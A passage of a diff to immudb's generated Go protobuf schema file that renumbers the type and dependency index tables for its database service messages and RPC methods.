(*DatabaseListResponse)(nil), // 104: immudb.schema.DatabaseListResponse + (*DatabaseListRequestV2)(nil), // 105: immudb.schema.DatabaseListRequestV2 + (*DatabaseListResponseV2)(nil), // 106: immudb.schema.DatabaseListResponseV2 + (*DatabaseWithSettings)(nil), // 107: immudb.schema.DatabaseWithSettings + (*Chunk)(nil), // 108: immudb.schema.Chunk + (*UseSnapshotRequest)(nil), // 109: immudb.schema.UseSnapshotRequest + (*SQLExecRequest)(nil), // 110: immudb.schema.SQLExecRequest + (*SQLQueryRequest)(nil), // 111: immudb.schema.SQLQueryRequest + (*NamedParam)(nil), // 112: immudb.schema.NamedParam + (*SQLExecResult)(nil), // 113: immudb.schema.SQLExecResult + (*CommittedSQLTx)(nil), // 114: immudb.schema.CommittedSQLTx + (*SQLQueryResult)(nil), // 115: immudb.schema.SQLQueryResult + (*Column)(nil), // 116: immudb.schema.Column + (*Row)(nil), // 117: immudb.schema.Row + (*SQLValue)(nil), // 118: immudb.schema.SQLValue + (*NewTxRequest)(nil), // 119: immudb.schema.NewTxRequest + (*NewTxResponse)(nil), // 120: immudb.schema.NewTxResponse + (*ErrorInfo)(nil), // 121: immudb.schema.ErrorInfo + (*DebugInfo)(nil), // 122: immudb.schema.DebugInfo + (*RetryInfo)(nil), // 123: immudb.schema.RetryInfo + (*TruncateDatabaseRequest)(nil), // 124: immudb.schema.TruncateDatabaseRequest + (*TruncateDatabaseResponse)(nil), // 125: immudb.schema.TruncateDatabaseResponse + (*Precondition_KeyMustExistPrecondition)(nil), // 126: immudb.schema.Precondition.KeyMustExistPrecondition + (*Precondition_KeyMustNotExistPrecondition)(nil), // 127: immudb.schema.Precondition.KeyMustNotExistPrecondition + (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 128: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + nil, // 129: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + nil, // 130: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + nil, // 131: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + nil, // 132: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + nil, // 133: immudb.schema.Chunk.MetadataEntry + nil, // 134: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + nil, // 135: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + (_struct.NullValue)(0), // 136: google.protobuf.NullValue + (*empty.Empty)(nil), // 137: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission 5, // 1: immudb.schema.UserList.users:type_name -> immudb.schema.User - 124, // 2: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition - 125, // 3: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition - 126, // 4: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - 36, // 5: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata + 126, // 2: immudb.schema.Precondition.keyMustExist:type_name -> immudb.schema.Precondition.KeyMustExistPrecondition + 127, // 3: immudb.schema.Precondition.keyMustNotExist:type_name -> immudb.schema.Precondition.KeyMustNotExistPrecondition + 128, // 4: immudb.schema.Precondition.keyNotModifiedAfterTX:type_name -> immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition + 37, // 5: immudb.schema.KeyValue.metadata:type_name -> immudb.schema.KVMetadata 19, // 6: immudb.schema.Entry.referencedBy:type_name -> immudb.schema.Reference - 36, // 7: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata - 36, // 8: immudb.schema.Reference.metadata:type_name -> immudb.schema.KVMetadata + 37, // 7: immudb.schema.Entry.metadata:type_name -> immudb.schema.KVMetadata + 37, // 8: immudb.schema.Reference.metadata:type_name -> immudb.schema.KVMetadata 17, // 9: immudb.schema.Op.kv:type_name -> immudb.schema.KeyValue - 54, // 10: immudb.schema.Op.zAdd:type_name -> immudb.schema.ZAddRequest - 52, // 11: immudb.schema.Op.ref:type_name -> immudb.schema.ReferenceRequest + 56, // 10: immudb.schema.Op.zAdd:type_name -> immudb.schema.ZAddRequest + 54, // 11: immudb.schema.Op.ref:type_name -> immudb.schema.ReferenceRequest 20, // 12: immudb.schema.ExecAllRequest.Operations:type_name -> immudb.schema.Op 16, // 13: immudb.schema.ExecAllRequest.preconditions:type_name -> immudb.schema.Precondition 18, // 14: immudb.schema.Entries.entries:type_name -> immudb.schema.Entry 18, // 15: immudb.schema.ZEntry.entry:type_name -> immudb.schema.Entry 23, // 16: immudb.schema.ZEntries.entries:type_name -> immudb.schema.ZEntry 30, // 17: immudb.schema.TxHeader.metadata:type_name -> immudb.schema.TxMetadata - 40, // 18: immudb.schema.LinearAdvanceProof.inclusionProofs:type_name -> immudb.schema.InclusionProof + 42, // 18: immudb.schema.LinearAdvanceProof.inclusionProofs:type_name -> immudb.schema.InclusionProof 29, // 19: immudb.schema.DualProof.sourceTxHeader:type_name -> immudb.schema.TxHeader 29, // 20: immudb.schema.DualProof.targetTxHeader:type_name -> immudb.schema.TxHeader 31, // 21: immudb.schema.DualProof.linearProof:type_name -> immudb.schema.LinearProof 32, // 22: immudb.schema.DualProof.LinearAdvanceProof:type_name -> immudb.schema.LinearAdvanceProof - 29, // 23: immudb.schema.Tx.header:type_name -> immudb.schema.TxHeader - 35, // 24: immudb.schema.Tx.entries:type_name -> immudb.schema.TxEntry - 18, // 25: immudb.schema.Tx.kvEntries:type_name -> immudb.schema.Entry - 23, // 26: immudb.schema.Tx.zEntries:type_name -> immudb.schema.ZEntry - 36, // 27: immudb.schema.TxEntry.metadata:type_name -> immudb.schema.KVMetadata - 37, // 28: immudb.schema.KVMetadata.expiration:type_name -> immudb.schema.Expiration - 34, // 29: immudb.schema.VerifiableTx.tx:type_name -> immudb.schema.Tx - 33, // 30: immudb.schema.VerifiableTx.dualProof:type_name -> immudb.schema.DualProof - 28, // 31: immudb.schema.VerifiableTx.signature:type_name -> immudb.schema.Signature - 18, // 32: immudb.schema.VerifiableEntry.entry:type_name -> immudb.schema.Entry - 38, // 33: immudb.schema.VerifiableEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 40, // 34: immudb.schema.VerifiableEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 17, // 35: immudb.schema.SetRequest.KVs:type_name -> immudb.schema.KeyValue - 16, // 36: immudb.schema.SetRequest.preconditions:type_name -> immudb.schema.Precondition - 41, // 37: immudb.schema.VerifiableSetRequest.setRequest:type_name -> immudb.schema.SetRequest - 42, // 38: immudb.schema.VerifiableGetRequest.keyRequest:type_name -> immudb.schema.KeyRequest - 28, // 39: immudb.schema.ImmutableState.signature:type_name -> immudb.schema.Signature - 16, // 40: immudb.schema.ReferenceRequest.preconditions:type_name -> immudb.schema.Precondition - 52, // 41: immudb.schema.VerifiableReferenceRequest.referenceRequest:type_name -> immudb.schema.ReferenceRequest - 55, // 42: immudb.schema.ZScanRequest.minScore:type_name -> immudb.schema.Score - 55, // 43: immudb.schema.ZScanRequest.maxScore:type_name -> immudb.schema.Score - 54, // 44: immudb.schema.VerifiableZAddRequest.zAddRequest:type_name -> immudb.schema.ZAddRequest - 60, // 45: immudb.schema.TxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec - 61, // 46: immudb.schema.EntriesSpec.kvEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 61, // 47: immudb.schema.EntriesSpec.zEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 61, // 48: immudb.schema.EntriesSpec.sqlEntriesSpec:type_name -> immudb.schema.EntryTypeSpec - 0, // 49: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction - 60, // 50: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec - 60, // 51: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec - 34, // 52: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx - 66, // 53: immudb.schema.ExportTxRequest.replicaState:type_name -> immudb.schema.ReplicaState - 81, // 54: immudb.schema.CreateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings - 81, // 55: immudb.schema.CreateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings - 81, // 56: immudb.schema.UpdateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings - 81, // 57: immudb.schema.UpdateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings - 81, // 58: immudb.schema.DatabaseSettingsResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings - 82, // 59: immudb.schema.DatabaseNullableSettings.replicationSettings:type_name -> immudb.schema.ReplicationNullableSettings - 75, // 60: immudb.schema.DatabaseNullableSettings.fileSize:type_name -> immudb.schema.NullableUint32 - 75, // 61: immudb.schema.DatabaseNullableSettings.maxKeyLen:type_name -> immudb.schema.NullableUint32 - 75, // 62: immudb.schema.DatabaseNullableSettings.maxValueLen:type_name -> immudb.schema.NullableUint32 - 75, // 63: immudb.schema.DatabaseNullableSettings.maxTxEntries:type_name -> immudb.schema.NullableUint32 - 78, // 64: immudb.schema.DatabaseNullableSettings.excludeCommitTime:type_name -> immudb.schema.NullableBool - 75, // 65: immudb.schema.DatabaseNullableSettings.maxConcurrency:type_name -> immudb.schema.NullableUint32 - 75, // 66: immudb.schema.DatabaseNullableSettings.maxIOConcurrency:type_name -> immudb.schema.NullableUint32 - 75, // 67: immudb.schema.DatabaseNullableSettings.txLogCacheSize:type_name -> immudb.schema.NullableUint32 - 75, // 68: immudb.schema.DatabaseNullableSettings.vLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 69: immudb.schema.DatabaseNullableSettings.txLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 70: immudb.schema.DatabaseNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 84, // 71: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings - 75, // 72: immudb.schema.DatabaseNullableSettings.writeTxHeaderVersion:type_name -> immudb.schema.NullableUint32 - 78, // 73: immudb.schema.DatabaseNullableSettings.autoload:type_name -> immudb.schema.NullableBool - 75, // 74: immudb.schema.DatabaseNullableSettings.readTxPoolSize:type_name -> immudb.schema.NullableUint32 - 80, // 75: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds - 75, // 76: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 85, // 77: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings - 75, // 78: immudb.schema.DatabaseNullableSettings.maxActiveTransactions:type_name -> immudb.schema.NullableUint32 - 75, // 79: immudb.schema.DatabaseNullableSettings.mvccReadSetLimit:type_name -> immudb.schema.NullableUint32 - 75, // 80: immudb.schema.DatabaseNullableSettings.vLogCacheSize:type_name -> immudb.schema.NullableUint32 - 83, // 81: immudb.schema.DatabaseNullableSettings.truncationSettings:type_name -> immudb.schema.TruncationNullableSettings - 78, // 82: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 79, // 83: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString - 79, // 84: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString - 75, // 85: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 - 79, // 86: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString - 79, // 87: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString - 78, // 88: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool - 75, // 89: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 - 75, // 90: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 - 75, // 91: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 - 78, // 92: immudb.schema.ReplicationNullableSettings.allowTxDiscarding:type_name -> immudb.schema.NullableBool - 78, // 93: immudb.schema.ReplicationNullableSettings.skipIntegrityCheck:type_name -> immudb.schema.NullableBool - 78, // 94: immudb.schema.ReplicationNullableSettings.waitForIndexing:type_name -> immudb.schema.NullableBool - 80, // 95: immudb.schema.TruncationNullableSettings.retentionPeriod:type_name -> immudb.schema.NullableMilliseconds - 80, // 96: immudb.schema.TruncationNullableSettings.truncationFrequency:type_name -> immudb.schema.NullableMilliseconds - 75, // 97: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 98: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 99: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 - 75, // 100: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 - 75, // 101: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 - 76, // 102: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 - 75, // 103: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 - 75, // 104: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 - 75, // 105: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 106: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 107: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 - 75, // 108: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 - 77, // 109: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 75, // 110: immudb.schema.IndexNullableSettings.maxBulkSize:type_name -> immudb.schema.NullableUint32 - 80, // 111: immudb.schema.IndexNullableSettings.bulkPreparationTimeout:type_name -> immudb.schema.NullableMilliseconds - 75, // 112: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 113: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 116, // 114: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 95, // 115: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 36, // 116: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 97, // 117: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 38, // 118: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 40, // 119: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 127, // 120: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 128, // 121: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 129, // 122: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 130, // 123: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 124: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 67, // 125: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 105, // 126: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 81, // 127: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 131, // 128: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry - 110, // 129: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 110, // 130: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 116, // 131: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 112, // 132: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 133: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 132, // 134: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 133, // 135: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 114, // 136: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 115, // 137: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 116, // 138: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 134, // 139: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 140: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 76, // 141: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 80, // 142: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 116, // 143: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 116, // 144: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 135, // 145: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 146: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 147: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 100, // 148: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 101, // 149: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 150: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 151: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 152: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 135, // 153: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 135, // 154: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 117, // 155: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 135, // 156: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 135, // 157: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 108, // 158: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 109, // 159: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 160: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 135, // 161: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 162: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 163: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 164: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 165: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 166: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 167: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 168: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 169: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 170: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 135, // 171: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 172: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 173: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 174: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 175: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 176: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 135, // 177: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 135, // 178: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 135, // 179: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 180: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 181: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 182: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 183: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 184: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 185: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 186: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 187: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 86, // 188: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 88, // 189: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 90, // 190: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 135, // 191: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 103, // 192: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 193: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 194: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 195: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 135, // 196: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 197: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 92, // 198: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 135, // 199: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 200: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 106, // 201: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 202: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 106, // 203: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 204: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 205: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 206: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 106, // 207: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 208: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 106, // 209: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 65, // 210: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest - 108, // 211: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 109, // 212: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 135, // 213: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 94, // 214: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 96, // 215: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 122, // 216: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 217: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 135, // 218: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 135, // 219: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 135, // 220: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 135, // 221: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 135, // 222: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 135, // 223: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 224: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 135, // 225: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 135, // 226: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 118, // 227: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 112, // 228: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 135, // 229: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 135, // 230: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 113, // 231: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 232: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 135, // 233: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 234: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 235: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 236: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 237: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 238: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 239: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 240: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 241: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 242: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 243: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 244: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 245: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 246: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 247: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 248: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 249: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 250: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 251: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 252: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 253: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 254: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 255: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 256: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 135, // 257: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 135, // 258: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 259: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 87, // 260: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 89, // 261: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 91, // 262: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 102, // 263: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 104, // 264: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 99, // 265: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 135, // 266: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 267: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 268: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 269: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 93, // 270: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 135, // 271: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 106, // 272: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 273: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 106, // 274: 